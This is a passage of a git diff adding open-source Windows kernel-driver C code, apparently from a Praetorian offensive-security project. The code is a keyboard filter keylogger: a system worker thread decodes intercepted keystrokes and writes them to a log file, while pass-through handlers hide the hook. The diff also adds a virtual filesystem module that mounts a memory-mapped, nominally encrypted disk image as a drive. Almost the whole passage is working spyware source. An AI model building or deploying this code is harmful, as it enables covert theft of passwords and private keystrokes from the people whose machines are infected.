+ PKEYLOG_DEVICE_EXTENSION pDevExt,
+ KEY_DATA *kData
+ )
+{
+ char key;
+ int flag;
+ key = KeyMap[kData->KeyData];
+ flag = 0;
+
+ switch(key) {
+ case LSHIFT:
+ case RSHIFT:
+ if(kData->KeyFlags == KEY_MAKE) {
+ pDevExt->kState.kSHIFT = TRUE;
+ } else {
+ pDevExt->kState.kSHIFT = FALSE;
+ }
+ break;
+ case CTRL:
+ if(kData->KeyFlags == KEY_MAKE) {
+ WriteStringToLog(pDevExt->KeystrokeFile, "[CTRL]");
+ pDevExt->kState.kCTRL = TRUE;
+ } else {
+ pDevExt->kState.kCTRL = FALSE;
+ }
+ break;
+ case ALT:
+ if(kData->KeyFlags == KEY_MAKE) {
+ WriteStringToLog(pDevExt->KeystrokeFile, "[ALT]");
+ pDevExt->kState.kALT = TRUE;
+ } else {
+ pDevExt->kState.kALT = FALSE;
+ }
+ break;
+ case SPACE:
+ if((pDevExt->kState.kALT != TRUE) && (kData->KeyFlags == KEY_MAKE)) {
+ WriteStringToLog(pDevExt->KeystrokeFile, "[SPACE]");
+ }
+ break;
+ case ENTER:
+ if((pDevExt->kState.kALT != TRUE) && (kData->KeyFlags == KEY_MAKE)) {
+ WriteStringToLog(pDevExt->KeystrokeFile, "[ENTER]");
+ }
+ break;
+ case BACKSPACE:
+ if(kData->KeyFlags == KEY_MAKE) {
+ WriteStringToLog(pDevExt->KeystrokeFile, "[BACKSPACE]");
+ }
+ break;
+ case ESC:
+ if(kData->KeyFlags == KEY_MAKE) {
+ WriteStringToLog(pDevExt->KeystrokeFile, "[ESC]");
+ }
+ break;
+ case TAB:
+ if(kData->KeyFlags == KEY_MAKE) {
+ WriteStringToLog(pDevExt->KeystrokeFile, "[TAB]");
+ }
+ break;
+ default:
+ if((pDevExt->kState.kALT != TRUE) && (pDevExt->kState.kCTRL != TRUE)
+ && (kData->KeyFlags == KEY_MAKE)) {
+ if((key >= 0x21) && (key <= 0x7E)) {
+ if(pDevExt->kState.kSHIFT || flag == KEYBOARD_CAPS_LOCK_ON) {
+ WriteCharToLog(pDevExt->KeystrokeFile, ExtendedKeyMap[kData->KeyData]);
+ } else {
+ WriteCharToLog(pDevExt->KeystrokeFile, key);
+ }
+ }
+ }
+ break;
+ }
+}
diff --git a/src/keymap.h b/src/keymap.h
new file mode 100644
index 0000000..2d3e53e
--- /dev/null
+++ b/src/keymap.h
@@ -0,0 +1,24 @@
+/*
+ * Copyright 2022 Praetorian Security, Inc.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#pragma once
+
+#include
+
+#include "keylog.h"
+
+void WriteKeystrokeToLog(PKEYLOG_DEVICE_EXTENSION pDevExt, KEY_DATA *kData);
+
diff --git a/src/klogcompat.c b/src/klogcompat.c
new file mode 100755
index 0000000..59e9c48
--- /dev/null
+++ b/src/klogcompat.c
@@ -0,0 +1,72 @@
+/*
+ * Copyright 2022 Praetorian Security, Inc.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include
+
+#include "klogcompat.h"
+#include "keylog.h"
+
+NTSTATUS
+DispatchIRPUnsupported(
+ IN PDEVICE_OBJECT DeviceObject,
+ IN PIRP irp
+ )
+
+/*++
+
+ Routine Description:
+
+ Generic handler for IRPs which are not supported we return a
+ status of STATUS_NOT_IMPLEMENTED
+
+ Arguments:
+
+ DeviceObject - device associated with the IRP
+
+ irp - I/O Request Packet
+
+ Return Value:
+
+ Returns status saying that the request is not implemented
+
+--*/
+
+{
+ NTSTATUS status;
+
+ UNREFERENCED_PARAMETER(DeviceObject);
+
+ //
+ // Since we are the lowest level driver in the device stack we
+ // do not have a lower level driver for which we need to pass
+ // unsupported IRPs
+ //
+
+ status = irp->IoStatus.Status = STATUS_NOT_IMPLEMENTED;
+ IoCompleteRequest(irp, IO_NO_INCREMENT);
+
+ return status;
+}
+
+NTSTATUS
+DispatchPassThrough(
+ IN PDEVICE_OBJECT DeviceObject,
+ IN PIRP irp
+ )
+{
+ IoSkipCurrentIrpStackLocation(irp);
+ return IoCallDriver(((PKEYLOG_DEVICE_EXTENSION) DeviceObject->DeviceExtension)->KeyboardDevice ,irp);
+}
diff --git a/src/klogcompat.h b/src/klogcompat.h
new file mode 100644
index 0000000..58fdaed
--- /dev/null
+++ b/src/klogcompat.h
@@ -0,0 +1,31 @@
+/*
+ * Copyright 2022 Praetorian Security, Inc.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#pragma once
+
+#include "keylog.h"
+
+NTSTATUS
+DispatchIRPUnsupported(
+ IN PDEVICE_OBJECT DeviceObject,
+ IN PIRP irp
+ );
+
+NTSTATUS
+DispatchPassThrough(
+ IN PDEVICE_OBJECT DeviceObject,
+ IN PIRP irp
+ );
diff --git a/src/klogworker.c b/src/klogworker.c
new file mode 100755
index 0000000..fbfb2e0
--- /dev/null
+++ b/src/klogworker.c
@@ -0,0 +1,132 @@
+/*
+ * Copyright 2022 Praetorian Security, Inc.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include
+
+#include "keylog.h"
+#include "klogworker.h"
+#include "keymap.h"
+
+NTSTATUS
+InitializeKeylogWorker(
+ IN PDEVICE_OBJECT DeviceObject
+ )
+
+/*++
+
+ Routine Description:
+
+ Initializes worker thread for keyboard device being hooked
+
+ Arguments:
+
+ DeviceObject - Device object for the keyboard device the worker thread
+ will be servicing
+
+ Return Value:
+
+ Returns status depending on if the worker thread was successfully initialized
+ or not
+
+--*/
+
+{
+ HANDLE thread;
+ NTSTATUS status;
+ PKEYLOG_DEVICE_EXTENSION KeylogExtension;
+
+ KeylogExtension = (PKEYLOG_DEVICE_EXTENSION)DeviceObject->DeviceExtension;
+ KeylogExtension->ThreadTerminate = FALSE;
+
+ status = PsCreateSystemThread(&thread,
+ (ACCESS_MASK)0,
+ NULL,
+ (HANDLE)0,
+ NULL,
+ KeylogWorkerThread,
+ KeylogExtension);
+
+ if(!NT_SUCCESS(status)) {
+ DbgPrint("[Keylog] Failed to create Worker Thread");
+ return status;
+ }
+
+ ObReferenceObjectByHandle(thread,
+ THREAD_ALL_ACCESS,
+ NULL,
+ KernelMode,
+ (PVOID*)&KeylogExtension->ThreadObj,
+ NULL);
+
+ ZwClose(thread);
+ return status;
+}
+
+VOID
+KeylogWorkerThread(
+ IN PKEYLOG_DEVICE_EXTENSION KeylogExtension
+ )
+
+/*++
+
+ Routine Description:
+
+ Keylogger worker thread reads from queue of intercepted keystrokes and
+ decodes them as well as writes them to a file
+
+ Arguments:
+
+ KeylogExtension - Pointer to keylogger device extension contains information
+ relevant to worker thread such as the file to write the
+ decoded keystrokes to
+
+ Return Value:
+
+ VOID (no return)
+
+--*/
+
+{
+ KEY_DATA* kData;
+ PLIST_ENTRY ListEntry;
+
+ while(TRUE) {
+
+ //
+ // Sleep if no data is available in the work queue for processing
+ //
+
+ KeWaitForSingleObject(&KeylogExtension->semQueue,
+ Executive,
+ KernelMode,
+ FALSE,
+ NULL);
+
+ ListEntry = ExInterlockedRemoveHeadList(&KeylogExtension->QueueListHead,
+ &KeylogExtension->lockQueue);
+
+ //
+ // If driver is being unloaded we need to exit
+ //
+
+ if(KeylogExtension->ThreadTerminate) {
+ PsTerminateSystemThread(STATUS_SUCCESS);
+ }
+
+ kData = CONTAINING_RECORD(ListEntry, KEY_DATA, ListEntry);
+ WriteKeystrokeToLog(KeylogExtension, kData);
+ }
+}
diff --git a/src/klogworker.h b/src/klogworker.h
new file mode 100755
index 0000000..069dbf7
--- /dev/null
+++ b/src/klogworker.h
@@ -0,0 +1,29 @@
+/*
+ * Copyright 2022 Praetorian Security, Inc.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#pragma once
+
+#include
+
+NTSTATUS
+InitializeKeylogWorker(
+ IN PDEVICE_OBJECT DeviceObject
+ );
+
+VOID
+KeylogWorkerThread(
+ IN PKEYLOG_DEVICE_EXTENSION KeylogExtension
+ );
\ No newline at end of file
diff --git a/src/ntundoc.h b/src/ntundoc.h
new file mode 100644
index 0000000..ac91a6c
--- /dev/null
+++ b/src/ntundoc.h
@@ -0,0 +1,138 @@
+/*
+ * Copyright 2022 Praetorian Security, Inc.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#pragma once
+
+//
+// Define the keyboard indicators
+//
+
+#define KEYBOARD_LED_INJECTED 0x8000
+#define KEYBOARD_SHADOW 0x4000
+#define KEYBOARD_KANA_LOCK_ON 8
+#define KEYBOARD_CAPS_LOCK_ON 4
+#define KEYBOARD_NUM_LOCK_ON 2
+#define KEYBOARD_SCROLL_LOCK_ON 1
+
+
+#define IOCTL_KEYBOARD_QUERY_ATTRIBUTES \
+ CTL_CODE(FILE_DEVICE_KEYBOARD, 0x0000, METHOD_BUFFERED, FILE_ANY_ACCESS)
+#define IOCTL_KEYBOARD_QUERY_INDICATORS \
+ CTL_CODE(FILE_DEVICE_KEYBOARD, 0x0010, METHOD_BUFFERED, FILE_ANY_ACCESS)
+#define IOCTL_KEYBOARD_QUERY_INDICATOR_TRANSLATION \
+ CTL_CODE(FILE_DEVICE_KEYBOARD, 0x0020, METHOD_BUFFERED, FILE_ANY_ACCESS)
+#define IOCTL_KEYBOARD_QUERY_TYPEMATIC \
+ CTL_CODE(FILE_DEVICE_KEYBOARD, 0x0008, METHOD_BUFFERED, FILE_ANY_ACCESS)
+#define IOCTL_KEYBOARD_SET_TYPEMATIC \
+ CTL_CODE(FILE_DEVICE_KEYBOARD, 0x0001, METHOD_BUFFERED, FILE_ANY_ACCESS)
+#define IOCTL_KEYBOARD_SET_INDICATORS \
+ CTL_CODE(FILE_DEVICE_KEYBOARD, 0x0002, METHOD_BUFFERED, FILE_ANY_ACCESS)
+
+DEFINE_GUID(GUID_DEVINTERFACE_KEYBOARD, \
+ 0x884b96c3, 0x56ef, 0x11d1, 0xbc, 0x8c, 0x00, 0xa0, 0xc9, 0x14, 0x05, 0xdd);
+
+#define KEYBOARD_ERROR_VALUE_BASE 10000
+
+/* KEYBOARD_INPUT_DATA.MakeCode constants */
+#define KEYBOARD_OVERRUN_MAKE_CODE 0xFF
+
+/* KEYBOARD_INPUT_DATA.Flags constants */
+#define KEY_MAKE 0
+#define KEY_BREAK 1
+#define KEY_E0 2
+#define KEY_E1 4
+
+typedef struct _KEYBOARD_INPUT_DATA {
+ USHORT UnitId;
+ USHORT MakeCode;
+ USHORT Flags;
+ USHORT Reserved;
+ ULONG ExtraInformation;
+} KEYBOARD_INPUT_DATA, *PKEYBOARD_INPUT_DATA;
+
+
+typedef struct _KEYBOARD_TYPEMATIC_PARAMETERS {
+ USHORT UnitId;
+ USHORT Rate;
+ USHORT Delay;
+} KEYBOARD_TYPEMATIC_PARAMETERS, *PKEYBOARD_TYPEMATIC_PARAMETERS;
+
+typedef struct _KEYBOARD_ID {
+ UCHAR Type;
+ UCHAR Subtype;
+} KEYBOARD_ID, *PKEYBOARD_ID;
+
+#define ENHANCED_KEYBOARD(Id) ((Id).Type == 2 || (Id).Type == 4 || FAREAST_KEYBOARD(Id))
+#define FAREAST_KEYBOARD(Id) ((Id).Type == 7 || (Id).Type == 8)
+
+typedef struct _KEYBOARD_INDICATOR_PARAMETERS {
+ USHORT UnitId;
+ USHORT LedFlags;
+} KEYBOARD_INDICATOR_PARAMETERS, *PKEYBOARD_INDICATOR_PARAMETERS;
+
+typedef struct _INDICATOR_LIST {
+ USHORT MakeCode;
+ USHORT IndicatorFlags;
+} INDICATOR_LIST, *PINDICATOR_LIST;
+
+typedef struct _KEYBOARD_INDICATOR_TRANSLATION {
+ USHORT NumberOfIndicatorKeys;
+ INDICATOR_LIST IndicatorList[1];
+} KEYBOARD_INDICATOR_TRANSLATION, *PKEYBOARD_INDICATOR_TRANSLATION;
+
+typedef struct _KEYBOARD_ATTRIBUTES {
+ KEYBOARD_ID KeyboardIdentifier;
+ USHORT KeyboardMode;
+ USHORT NumberOfFunctionKeys;
+ USHORT NumberOfIndicators;
+ USHORT NumberOfKeysTotal;
+ ULONG InputDataQueueLength;
+ KEYBOARD_TYPEMATIC_PARAMETERS KeyRepeatMinimum;
+ KEYBOARD_TYPEMATIC_PARAMETERS KeyRepeatMaximum;
+} KEYBOARD_ATTRIBUTES, *PKEYBOARD_ATTRIBUTES;
+
+typedef struct _KEYBOARD_UNIT_ID_PARAMETER {
+ USHORT UnitId;
+} KEYBOARD_UNIT_ID_PARAMETER, *PKEYBOARD_UNIT_ID_PARAMETER;
+
+typedef struct _KEYBOARD_IME_STATUS {
+ USHORT UnitId;
+ ULONG ImeOpen;
+ ULONG ImeConvMode;
+} KEYBOARD_IME_STATUS, *PKEYBOARD_IME_STATUS;
+
+//
+// Undocumented NT Functions
+//
+
+typedef struct _DIRECTORY_BASIC_INFORMATION
+{
+ UNICODE_STRING ObjectName;
+ UNICODE_STRING ObjectTypeName;
+} DIRECTORY_BASIC_INFORMATION, *PDIRECTORY_BASIC_INFORMATION;
+
+extern NTSYSAPI NTSTATUS NTAPI
+ZwOpenDirectoryObject(OUT PHANDLE DirectoryObjectHandle, IN ACCESS_MASK DesiredAccess,
+ IN POBJECT_ATTRIBUTES ObjectAttributes);
+
+extern NTSYSAPI NTSTATUS NTAPI
+ZwQueryDirectoryObject(IN HANDLE DirectoryObjectHandle,
+ OUT PDIRECTORY_BASIC_INFORMATION DirObjInformation,
+ IN ULONG BufferLength, IN BOOLEAN GetNextIndex,
+ IN BOOLEAN IgnoreInputIndex, IN OUT PULONG ObjectIndex,
+ OUT PULONG DataWritten OPTIONAL);
+
+
diff --git a/src/vfs.c b/src/vfs.c
new file mode 100755
index 0000000..dbcbc0a
--- /dev/null
+++ b/src/vfs.c
@@ -0,0 +1,456 @@
+/*
+ * Copyright 2022 Praetorian Security, Inc.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include
+
+#include "vfs.h"
+#include "format.h"
+#include "vfscompat.h"
+#include "vfsworker.h"
+
+//
+// Check if VFS has been initialized
+//
+
+#define VFS_INITIALIZED() if(VFSDriverObject == NULL) { \
+ DbgPrint("Error VFS module has not been initialized"); \
+ return STATUS_UNSUCCESSFUL; \
+}
+
+//
+// Driver Object for VFS
+//
+
+static PDRIVER_OBJECT VFSDriverObject = NULL;
+
+//
+// Forward declarations
+//
+
+static NTSTATUS
+VFSPrepareFileSystem(
+ IN PUNICODE_STRING DeviceName,
+ IN PUNICODE_STRING DriveName,
+ OUT HANDLE *VFSHandle,
+ IN PVOID DiskImage,
+ IN ULONG DiskSize,
+ IN ULONG FSType,
+ HANDLE VFSFileHandle,
+ HANDLE VFSSection,
+ HANDLE ProcessHandle
+ );
+
+static NTSTATUS
+VFSShutdown(
+ IN PDEVICE_OBJECT DeviceObject,
+ IN PIRP irp
+ );
+
+NTSTATUS
+VFSInit(
+ IN PDRIVER_OBJECT DriverObject,
+ IN PUNICODE_STRING regPath
+ )
+
+/*++
+
+ Routine Description:
+
+ Initializes the VFS subsystem
+
+ Arguments:
+
+ DriverObject - Standard driver object structure for exclusive use by
+ VFS component is stored in static variable
+
+ regPath - This parameter is not used by anything currently
+
+ Return Value:
+
+ Always returns successfully
+
+--*/
+
+{
+ PAGED_CODE();
+
+ UNREFERENCED_PARAMETER(regPath);
+
+ VFSDriverObject = DriverObject;
+
+ DriverObject->MajorFunction[IRP_MJ_CREATE] = VFSCreateClose;
+ DriverObject->MajorFunction[IRP_MJ_CLOSE] = VFSCreateClose;
+ DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = VFSIoctl;
+ DriverObject->MajorFunction[IRP_MJ_READ] = VFSQueueWorkItem;
+ DriverObject->MajorFunction[IRP_MJ_WRITE] = VFSQueueWorkItem;
+ DriverObject->MajorFunction[IRP_MJ_SHUTDOWN] = VFSShutdown;
+
+ return STATUS_SUCCESS;
+}
+
+NTSTATUS
+VFSCreateDisk(
+ IN PUNICODE_STRING DeviceName,
+ IN PUNICODE_STRING DriveName,
+ IN PUNICODE_STRING FilePath,
+ OUT PDEVICE_OBJECT *VFSHandle,
+ IN PVFS_KEY SymmetricKey,
+ IN PLARGE_INTEGER VFSSize,
+ IN ULONG FSType
+ )
+
+/*++
+
+ Routine Description:
+
+ Creates a new/mounts an existing virtual file system driver
+
+ One important thing to note is that if you are trying to format a file backed VFS and
+ that has already been formated you must first delete the file before you call this API
+ otherwise it will not be formatted properly.
+
+ Arguments:
+
+ DeviceName - Device name of the hard disk (e.g. \Device\RawDisk1)
+
+ DriveName - Name of the drive (e.g. \DosDevices\Hd1)
+
+ FilePath - Path of the encrypted volume to be mounted/created in the past to a file on disk which
+ will be opened/created. Is null if you want to create a ramdisk
+
+ VFSObjectRet - Returns to the caller a pointer to the VFS object structure of the newly
+ created VFS object on successful mount on the drive. This pointer will be
+ set to null if the drive is not mounted properly
+
+ SymmetricKey - Symmetric key for CAST128 cipher which will be used to decrypt the
+ contents of the VFS on access
+
+ VFSSize - Size of the virtual filesystem is only applicable if the virtual filesystem
+ does not exist or we are creating a ramdisk/volatile drive. Must be a multiple of
+ 512 bytes
+
+ FSType - Filesystem to format the driver if applicable. If you are trying
+
+ Return Value:
+
+ NTSTATUS (indicating success/failure)
+
+--*/
+
+{
+ NTSTATUS status;
+ OBJECT_ATTRIBUTES ObjAttr;
+ IO_STATUS_BLOCK IOStatus;
+ PVOID DiskImage = NULL;
+ SIZE_T DiskSize = 0;
+ HANDLE VFSFileHandle;
+ HANDLE VFSSection;
+ HANDLE ProcessHandle;
+
+ PAGED_CODE();
+
+ UNREFERENCED_PARAMETER(SymmetricKey);
+
+ VFS_INITIALIZED();
+
+ //
+ // If the size of the VFS is less than 8MB or the size of the VFS is
+ // not a multiple of 512 then the VFS size is invalid size
+ //
+
+ if(VFSSize->QuadPart % 512 != 0 ||
+ VFSSize->QuadPart < VFS_MiB(8)) {
+ DbgPrint("[VFS] Error invalid VFS size");
+ return STATUS_UNSUCCESSFUL;
+ }
+
+ //
+ // If we are given a file path try to open if we are not
+ // given a file path then we know that the caller wants to
+ // create a ramdisk drive
+ //
+
+ if(FilePath != NULL) {
+
+ InitializeObjectAttributes(&ObjAttr,
+ FilePath,
+ OBJ_CASE_INSENSITIVE,
+ NULL,
+ NULL);
+
+ status = ZwCreateFile(&VFSFileHandle,
+ FILE_APPEND_DATA,
+ &ObjAttr,
+ &IOStatus,
+ VFSSize,
+ FILE_ATTRIBUTE_NORMAL,
+ FILE_SHARE_READ,
+ FILE_OPEN_IF,
+ FILE_NO_INTERMEDIATE_BUFFERING | FILE_SYNCHRONOUS_IO_NONALERT |
+ FILE_NON_DIRECTORY_FILE | FILE_RANDOM_ACCESS,
+ NULL,
+ 0);
+
+ if(!NT_SUCCESS(status)) {
+ DbgPrint("[VFS] Opening of VFS virtual drive failed");
+ return status;
+ }
+
+ //
+ // Check if file was just created and allocation specified was zero. This
+ // is an error and we will delete/close the file if this is the case
+ //
+
+ if(IOStatus.Information == FILE_CREATED && VFSSize == 0) {
+ DbgPrint("[VFS] Error VFS file does not exist and VFS size is zero");
+
+ ZwClose(VFSFileHandle);
+ return STATUS_UNSUCCESSFUL;
+ }
+
+ //
+ // If file already exists then we do not need to format it
+ //
+
+ if(IOStatus.Information == FILE_OPENED) {
+ DbgPrint("[VFS] The VFS already exists so we will not format it now");
+ FSType = NOFORMAT;
+ }
+
+ } else { // No path provided means we want to create a ramdisk
+ VFSFileHandle = NULL;
+ }
+
+
+ //
+ // We need to create a section object in order to map the section into
+ // virtual memory space of system process. To do this we must initialize
+ // the attributes of the object
+ //
+
+ InitializeObjectAttributes(
+ &ObjAttr,
+ NULL,
+ OBJ_KERNEL_HANDLE | OBJ_EXCLUSIVE,
+ NULL,
+ NULL);
+
+ status = ZwCreateSection(
+ &VFSSection,
+ SECTION_ALL_ACCESS,
+ &ObjAttr,
+ VFSSize,
+ PAGE_READWRITE,
+ 0x8000000 | 0x10000000, // SEC_COMMIT | SEC_NOCACHE
+ VFSFileHandle);
+
+ if(!NT_SUCCESS(status)) {
+ DbgPrint("[VFS] ZwCreateSection failed when mapping VFS");
+ return status;
+ }
+
+ ProcessHandle = NtCurrentProcess();
+
+ status = ZwMapViewOfSection(VFSSection,
+ ProcessHandle,
+ &DiskImage,
+ 1,
+ 0,
+ NULL,
+ &DiskSize,
+ ViewUnmap,
+ 0,
+ PAGE_READWRITE);
+
+ if(!NT_SUCCESS(status)) {
+ DbgPrint("[VFS] ZwMapViewOfSection failed while tring to map VFS into memory and STATUS = %d", status);
+ return status;
+ }
+
+ //
+ // Now that file has been mapped we need to setup the virtual filesystem
+ // so that it is accessible from usermode
+ //
+
+ status = VFSPrepareFileSystem(
+ DeviceName,
+ DriveName,
+ VFSHandle,
+ DiskImage,
+ (ULONG)VFSSize->QuadPart,
+ FSType,
+ VFSFileHandle,
+ VFSSection,
+ ProcessHandle);
+
+ if(!NT_SUCCESS(status)) {
+ DbgPrint("[VFS] Setup of virtual file system failed");
+ return status;
+ }
+
+ return status;
+}
+
+static NTSTATUS
+VFSPrepareFileSystem(
+ IN PUNICODE_STRING DeviceName,
+ IN PUNICODE_STRING DriveName,
+ OUT PDEVICE_OBJECT *VFSHandle,
+ IN PVOID DiskImage,
+ IN ULONG DiskSize,
+ IN ULONG FSType,
+ HANDLE VFSFileHandle,
+ HANDLE VFSSection,
+ HANDLE ProcessHandle
+ )
+
+/*++
+
+ Routine Description:
+
+ Internal routine that handles setup and initialization of the VFS
+
+ Arguments:
+
+ DeviceName - Name of the VFS device
+
+ DriveName - Name of the disk/symbolic link name (e.g. \DosDevices\Hd1\)
+
+ VFSObject - Output is initialized VFS structure
+
+ DiskImage - Pointer to memory allocated to store VFS or memory mapped file
+
+ DiskSize - Must be multiple of 512
+
+ FSType - Enum which represents type of file system to format drive
+
+ VFSFileHandle - Handle to the file backing the VFS or is NULL if we are creating a ramdisk
+
+ VFSSection - Section object which backs the memory mapped file
+
+ ProcessHandle - Handle to the userland process which the memory mapped file is
+ mapped into this should always be the [SYSTEM] (PID = 4) process
+
+ Return Value:
+
+ Returns success or error condition if VFS object fails to be created
+
+--*/
+
+{
+ NTSTATUS status;
+ PVFS_DEVICE_EXTENSION VFSExtension;
+ PDEVICE_OBJECT DeviceObject;
+
+ PAGED_CODE();
+
+ ASSERT(DeviceName != NULL);
+ ASSERT(DriveName != NULL);
+ ASSERT(DiskImage != NULL);
+ ASSERT(DiskSize % 512 == 0);
+
+ VFS_INITIALIZED();
+
+ status = IoCreateDevice(VFSDriverObject,
+ sizeof(VFS_DEVICE_EXTENSION),
+ DeviceName,
+ FILE_DEVICE_DISK,
+ 0,
+ FALSE,
+ &DeviceObject);
+
+ if (NT_SUCCESS(status)) {
+ status = IoCreateSymbolicLink(DriveName, DeviceName);
+ } else {
+ DbgPrint("[IG] Failed to Create Device Object for Driver");
+ return status;
+ }
+
+ RtlZeroMemory(DeviceObject->DeviceExtension, sizeof(VFS_DEVICE_EXTENSION));
+ VFSExtension = VFS_EXTENSION(DeviceObject);
+
+ VFSExtension->VFSFileHandle = VFSFileHandle;
+ VFSExtension->VFSSection = VFSSection;
+ VFSExtension->ProcessHandle = ProcessHandle;
+
+ VFSExtension->DiskImage = DiskImage;
+ VFSExtension->DiskSize = DiskSize;
+ VFSExtension->FileSystemType = FSType;
+
+ VFSExtension->DiskGeometry.Cylinders.QuadPart = VFSExtension->DiskSize / 512 / 32 / 2;
+ VFSExtension->DiskGeometry.MediaType = FixedMedia;
+ VFSExtension->DiskGeometry.TracksPerCylinder = 2;
+ VFSExtension->DiskGeometry.SectorsPerTrack = 32;
+ VFSExtension->DiskGeometry.BytesPerSector = 512;
+
+ switch(VFSExtension->FileSystemType) {
+
+ case FAT16:
+ VFSFormatFAT16(VFSExtension);
+ break;
+
+ case NOFORMAT:
+ break;
+
+ default:
+ DbgPrint("[IG] Failure Unrecognized Filesystem Type Specified");
+ return STATUS_UNSUCCESSFUL;
+ }
+
+ //
+ // Prepare the worker thread which will handle processing of
+ // the read/write requests to the hard disk
+ //
+
+ PrepareVFSWorkerThread(DeviceObject);
+
+ DeviceObject->Flags |= DO_DIRECT_IO;
+ DeviceObject->Flags &= ~DO_DEVICE_INITIALIZING;
+
+ //
+ // Return the address of VFS device object to the caller
+ //
+
+ *VFSHandle = DeviceObject;
+
+ return status;
+}
+
+static NTSTATUS
+VFSShutdown(
+ IN PDEVICE_OBJECT DeviceObject,
+ IN PIRP irp
+ )
+
+{
+ PVFS_DEVICE_EXTENSION VFSExtension = VFS_EXTENSION(DeviceObject);
+
+ //
+ // We need to make sure we properly close and unmap the sections
+ // and close the file to make sure all changes to VFS are flushed
+ // from the cache
+ //
+
+ ZwUnmapViewOfSection(VFSExtension->ProcessHandle, VFSExtension->DiskImage);
+ ZwClose(VFSExtension->VFSSection);
+ ZwClose(VFSExtension->VFSFileHandle);
+
+ irp->IoStatus.Status = STATUS_SUCCESS;
+ irp->IoStatus.Information = 0;
+ IoCompleteRequest(irp, IO_NO_INCREMENT);
+
+ return STATUS_SUCCESS;
+}
\ No newline at end of file
diff --git a/src/vfs.h b/src/vfs.h
new file mode 100755
index 0000000..147d504
--- /dev/null
+++ b/src/vfs.h
@@ -0,0 +1,115 @@
+/*
+ * Copyright 2022 Praetorian Security, Inc.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#pragma once
+
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+
+#include "ioctl.h"
+#include "vfsworker.h"
+#include "vfscompat.h"
+#include "vfsio.h"
+
+//
+// Disable compiler warnings
+//
+
+#pragma warning( disable: 4995 )
+#pragma warning( disable: 4996 )
+
+//
+// VFS Macros
+//
+
+#define VFS_MiB(mb) (mb * 1024 * 1024)
+#define VFS_EXTENSION(DeviceObject) ((PVFS_DEVICE_EXTENSION) DeviceObject->DeviceExtension)
+
+//
+// Type of the filesystem of the VFS object
+//
+
+#define FAT16 16
+#define FAT32 32
+#define NOFORMAT 0
+
+//
+// Symmetric key used to decrypt/encrypt the VFS
+//
+
+typedef struct _VFS_KEY {
+ UCHAR key[16];
+} VFS_KEY, *PVFS_KEY;
+
+//
+// Information which describes virtual file system object
+//
+
+typedef struct _VFS_DEVICE_EXTENSION {
+
+ //
+ // Information on virtual file system
+ //
+
+ DISK_GEOMETRY DiskGeometry;
+ PCHAR DiskImage;
+ ULONG DiskSize;
+ ULONG FileSystemType;
+
+ //
+ // Synchronization for work queue
+ //
+
+ KSEMAPHORE semQueue;
+ KSPIN_LOCK lockQueue;
+ LIST_ENTRY QueueListHead;
+
+ //
+ // Handle to memory mapped file object
+ //
+
+ PHANDLE VFSFileHandle;
+ PHANDLE VFSSection;
